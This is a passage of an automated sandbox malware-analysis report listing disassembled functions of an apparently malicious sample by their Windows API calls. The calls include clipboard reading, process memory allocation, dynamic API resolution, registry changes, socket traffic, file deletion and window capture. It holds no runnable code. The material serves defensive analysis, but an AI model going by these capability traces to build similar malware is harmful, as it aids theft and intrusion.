    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC86E2, Relevance: 7.6, APIs: 5, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 00BC86EB
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • GlobalLock.KERNEL32 ref: 00BC871F
    • EnterCriticalSection.KERNEL32(00BD4170,00000000), ref: 00BC875F
      • Part of subcall function 00BC83EA: EnterCriticalSection.KERNEL32(00BD4170,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8407
      • Part of subcall function 00BC83EA: LeaveCriticalSection.KERNEL32(00BD4170,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8428
      • Part of subcall function 00BC83EA: EnterCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8439
      • Part of subcall function 00BC83EA: LeaveCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC84C1
    • LeaveCriticalSection.KERNEL32(00BD4170,?,00BA7298), ref: 00BC8776
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • GlobalUnlock.KERNEL32(?), ref: 00BC8789
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004162FD, Relevance: 7.6, APIs: 5, Instructions: 69
    APIs
    • GetMenuState.USER32 ref: 004162FD
    • WideCharToMultiByte.KERNEL32 ref: 00416303
    • GetSubMenu.USER32 ref: 00416309
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC60BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00BC60DC
    • GetModuleHandleA.KERNEL32(?), ref: 00BC60FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00BC6106
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00BC6125
    • VerQueryValueA.VERSION(?,00BA7250,00000000,00000000), ref: 00BC6145
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004260BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 004260DC
    • GetModuleHandleA.KERNEL32(?), ref: 004260FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00426106
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00426125
    • VerQueryValueA.VERSION(?,00407250,00000000,00000000), ref: 00426145
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040E220, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • CreateFileMappingW.KERNEL32 ref: 0040E220
    • GetObjectW.GDI32 ref: 0040E226
    • TranslateAcceleratorW.USER32 ref: 0040E22C
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC6387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 00BC63DB
    • GetProcAddress.KERNEL32(?,?), ref: 00BC63E7
    • GetProcAddress.KERNEL32(?,?), ref: 00BC63F3
    • GetProcAddress.KERNEL32(?,?), ref: 00BC63FF
    • GetProcAddress.KERNEL32(?,?), ref: 00BC640B
      • Part of subcall function 00BC5E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00BC5E37
      • Part of subcall function 00BA924C: InterlockedExchange.KERNEL32(00BD3060,00000000,7C80AE40), ref: 00BA9261
      • Part of subcall function 00BA924C: InterlockedExchange.KERNEL32(00BD3040,00000000), ref: 00BA926A
      • Part of subcall function 00BA924C: InitializeCriticalSection.KERNEL32(00BD3018), ref: 00BA9271
      • Part of subcall function 00BA924C: GetProcAddress.KERNEL32(?,?), ref: 00BA92D1
      • Part of subcall function 00BA924C: GetProcAddress.KERNEL32(?), ref: 00BA92E2
      • Part of subcall function 00BA924C: GetProcAddress.KERNEL32(?), ref: 00BA92F2
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00426387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 004263DB
    • GetProcAddress.KERNEL32(?,?), ref: 004263E7
    • GetProcAddress.KERNEL32(?,?), ref: 004263F3
    • GetProcAddress.KERNEL32(?,?), ref: 004263FF
    • GetProcAddress.KERNEL32(?,?), ref: 0042640B
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
      • Part of subcall function 0040924C: InterlockedExchange.KERNEL32(00433060,00000000,7C80AE40), ref: 00409261
      • Part of subcall function 0040924C: InterlockedExchange.KERNEL32(00433040,00000000), ref: 0040926A
      • Part of subcall function 0040924C: InitializeCriticalSection.KERNEL32(00433018), ref: 00409271
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?,?), ref: 004092D1
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?), ref: 004092E2
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?), ref: 004092F2
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC03CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00BC040E
    • Sleep.KERNEL32(000001F4), ref: 00BC041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00BC0432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00BC044A
    • RegCloseKey.ADVAPI32(?), ref: 00BC0459
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004203CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 0042040E
    • Sleep.KERNEL32(000001F4), ref: 0042041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00420432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0042044A
    • RegCloseKey.ADVAPI32(?), ref: 00420459
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBBA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 00BBBA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00BC8A0E,00000000,?,00000000,00000000), ref: 00BBBAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00BC8A0E,00000000,?,00000000,00000000,00020000,00000001,?,00BC8A0E,?,00020000), ref: 00BBBAAD
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 00BBBAD9
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • closesocket.WS2_32(?), ref: 00BBBAED
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041BA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 0041BA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00428A0E,00000000,?,00000000,00000000), ref: 0041BAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00428A0E,00000000,?,00000000,00000000,00020000,00000001,?,00428A0E,?,00020000), ref: 0041BAAD
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 0041BAD9
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • closesocket.WS2_32(?), ref: 0041BAED
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040C6EF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
    • PostQuitMessage.USER32 ref: 0040C6EF
    • DragFinish.SHELL32 ref: 0040C6F5
    • GetSystemTimeAsFileTime.KERNEL32 ref: 0040C6FB
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C77E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040C840
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBDCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00BBDCF0
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    • FindNextFileW.KERNEL32(?,?), ref: 00BBDD4B
    • FindClose.KERNEL32 ref: 00BBDD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBDD62
    • RemoveDirectoryW.KERNEL32(?), ref: 00BBDD69
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 0041DCF0
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    • FindNextFileW.KERNEL32(?,?), ref: 0041DD4B
    • FindClose.KERNEL32 ref: 0041DD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 0041DD62
    • RemoveDirectoryW.KERNEL32(?), ref: 0041DD69
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042A297, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 60
    APIs
      • Part of subcall function 0041834E: MultiByteToWideChar.KERNEL32(0040815B,00000000,?,?,?,?), ref: 00418365
    • StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00C22040), ref: 0042A31B
    • lstrcmpiW.KERNEL32(?,E121EBEE), ref: 0042A333
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCB388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(00BD45A0), ref: 00BCB39D
    • LeaveCriticalSection.KERNEL32(00BD45A0), ref: 00BCB3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 00BCB3D3
    • EnterCriticalSection.KERNEL32(00BD45A0), ref: 00BCB3DE
    • LeaveCriticalSection.KERNEL32(00BD45A0), ref: 00BCB3FC
      • Part of subcall function 00BBB708: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBB733
      • Part of subcall function 00BBB708: recv.WS2_32(?,?,00000400,00000000), ref: 00BBB77B
      • Part of subcall function 00BBB708: send.WS2_32(?,?,?,00000000), ref: 00BBB795
      • Part of subcall function 00BBB708: select.WS2_32(00000000,?,00000000,00000000,?), ref: 00BBB7D5
      • Part of subcall function 00BCB2E3: EnterCriticalSection.KERNEL32(00BD45A0,?,?,00BCB607,00000000,00BCB388,?,000000FF,00000002,?,?,?,?,?), ref: 00BCB2F4
      • Part of subcall function 00BCB2E3: CloseHandle.KERNEL32(?), ref: 00BCB330
      • Part of subcall function 00BCB2E3: LeaveCriticalSection.KERNEL32(00BD45A0,?,?,00BCB607,00000000,00BCB388,?,000000FF,00000002,?,?,?,?,?), ref: 00BCB37F
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042B388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(004345A0), ref: 0042B39D
    • LeaveCriticalSection.KERNEL32(004345A0), ref: 0042B3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 0042B3D3
    • EnterCriticalSection.KERNEL32(004345A0), ref: 0042B3DE
    • LeaveCriticalSection.KERNEL32(004345A0), ref: 0042B3FC
      • Part of subcall function 0041B708: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041B733
      • Part of subcall function 0041B708: recv.WS2_32(?,?,00000400,00000000), ref: 0041B77B
      • Part of subcall function 0041B708: send.WS2_32(?,?,?,00000000), ref: 0041B795
      • Part of subcall function 0041B708: select.WS2_32(00000000,?,00000000,00000000,0042B414), ref: 0041B7D5
      • Part of subcall function 0042B2E3: EnterCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B2F4
      • Part of subcall function 0042B2E3: CloseHandle.KERNEL32(?), ref: 0042B330
      • Part of subcall function 0042B2E3: LeaveCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B37F
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040BB0B, Relevance: 7.5, APIs: 5, Instructions: 49
    APIs
    • EndPage.GDI32 ref: 0040BB0B
    • GetCurrentThreadId.KERNEL32 ref: 0040BB11
    • PageSetupDlgW.COMDLG32 ref: 0040BB17
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040BB2D
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040BB84
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040C48F, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • SetScrollPos.USER32 ref: 0040C48F
    • CommDlgExtendedError.COMDLG32 ref: 0040C495
    • GetObjectW.GDI32 ref: 0040C49B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C4BE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C53C
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB4AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00BB4AD3
    • SetThreadPriority.KERNEL32 ref: 00BB4ADA
    • SetEvent.KERNEL32 ref: 00BB4AEC
      • Part of subcall function 00BB4383: GetWindowInfo.USER32(?,?), ref: 00BB43EF
      • Part of subcall function 00BB4383: IntersectRect.USER32(?,?), ref: 00BB4412
      • Part of subcall function 00BB4383: IntersectRect.USER32(?,?), ref: 00BB4468
      • Part of subcall function 00BB4383: GetDC.USER32(00000000), ref: 00BB44AC
      • Part of subcall function 00BB4383: CreateCompatibleDC.GDI32 ref: 00BB44BD
      • Part of subcall function 00BB4383: ReleaseDC.USER32(00000000), ref: 00BB44C7
      • Part of subcall function 00BB4383: SelectObject.GDI32(?,?), ref: 00BB44DC
      • Part of subcall function 00BB4383: DeleteDC.GDI32 ref: 00BB44EA
      • Part of subcall function 00BB4383: TlsSetValue.KERNEL32(?), ref: 00BB4535
      • Part of subcall function 00BB4383: EqualRect.USER32(?,?), ref: 00BB454F
      • Part of subcall function 00BB4383: SaveDC.GDI32 ref: 00BB455A
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4575
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00BB4595
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00BB45A7
      • Part of subcall function 00BB4383: RestoreDC.GDI32(?,?), ref: 00BB45BE
      • Part of subcall function 00BB4383: SaveDC.GDI32 ref: 00BB45E0
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB45F6
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00BB460F
      • Part of subcall function 00BB4383: RestoreDC.GDI32(?,?), ref: 00BB461D
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4630
      • Part of subcall function 00BB4383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00BB4640
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00BB4652
      • Part of subcall function 00BB4383: TlsSetValue.KERNEL32(00000000), ref: 00BB466C
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB468C
      • Part of subcall function 00BB4383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00BB46A8
      • Part of subcall function 00BB4383: SelectObject.GDI32(?,?), ref: 00BB46BE
      • Part of subcall function 00BB4383: DeleteDC.GDI32 ref: 00BB46C5
      • Part of subcall function 00BB4383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB46ED
      • Part of subcall function 00BB4383: PrintWindow.USER32(00000008,?,00000000), ref: 00BB4703
    • SetEvent.KERNEL32 ref: 00BB4B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00BB4B46
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00414AD3
    • SetThreadPriority.KERNEL32 ref: 00414ADA
    • SetEvent.KERNEL32 ref: 00414AEC
      • Part of subcall function 00414383: GetWindowInfo.USER32(?,?), ref: 004143EF
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414412
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414468
      • Part of subcall function 00414383: GetDC.USER32(00000000), ref: 004144AC
      • Part of subcall function 00414383: CreateCompatibleDC.GDI32 ref: 004144BD
      • Part of subcall function 00414383: ReleaseDC.USER32(00000000), ref: 004144C7
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004144DC
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004144EA
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(?), ref: 00414535
      • Part of subcall function 00414383: EqualRect.USER32(?,?), ref: 0041454F
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 0041455A
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 004145BE
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 004145E0
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 0041461D
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
      • Part of subcall function 00414383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(00000000), ref: 0041466C
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
      • Part of subcall function 00414383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004146BE
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004146C5
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 00414383: PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    • SetEvent.KERNEL32 ref: 00414B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00414B46
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041435C, Relevance: 7.5, APIs: 5, Instructions: 45
    APIs
    • SetDlgItemTextW.USER32 ref: 0041435C
    • lstrcpynW.KERNEL32 ref: 00414362
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408F99, Relevance: 7.5, APIs: 5, Instructions: 44
    APIs
    • OpenClipboard.USER32 ref: 00408F99
    • ShowWindow.USER32 ref: 00408F9F
    • LoadCursorW.USER32 ref: 00408FA5
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040878F, Relevance: 7.5, APIs: 5, Instructions: 38
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 0040878F
    • RegQueryValueExA.ADVAPI32 ref: 00408795
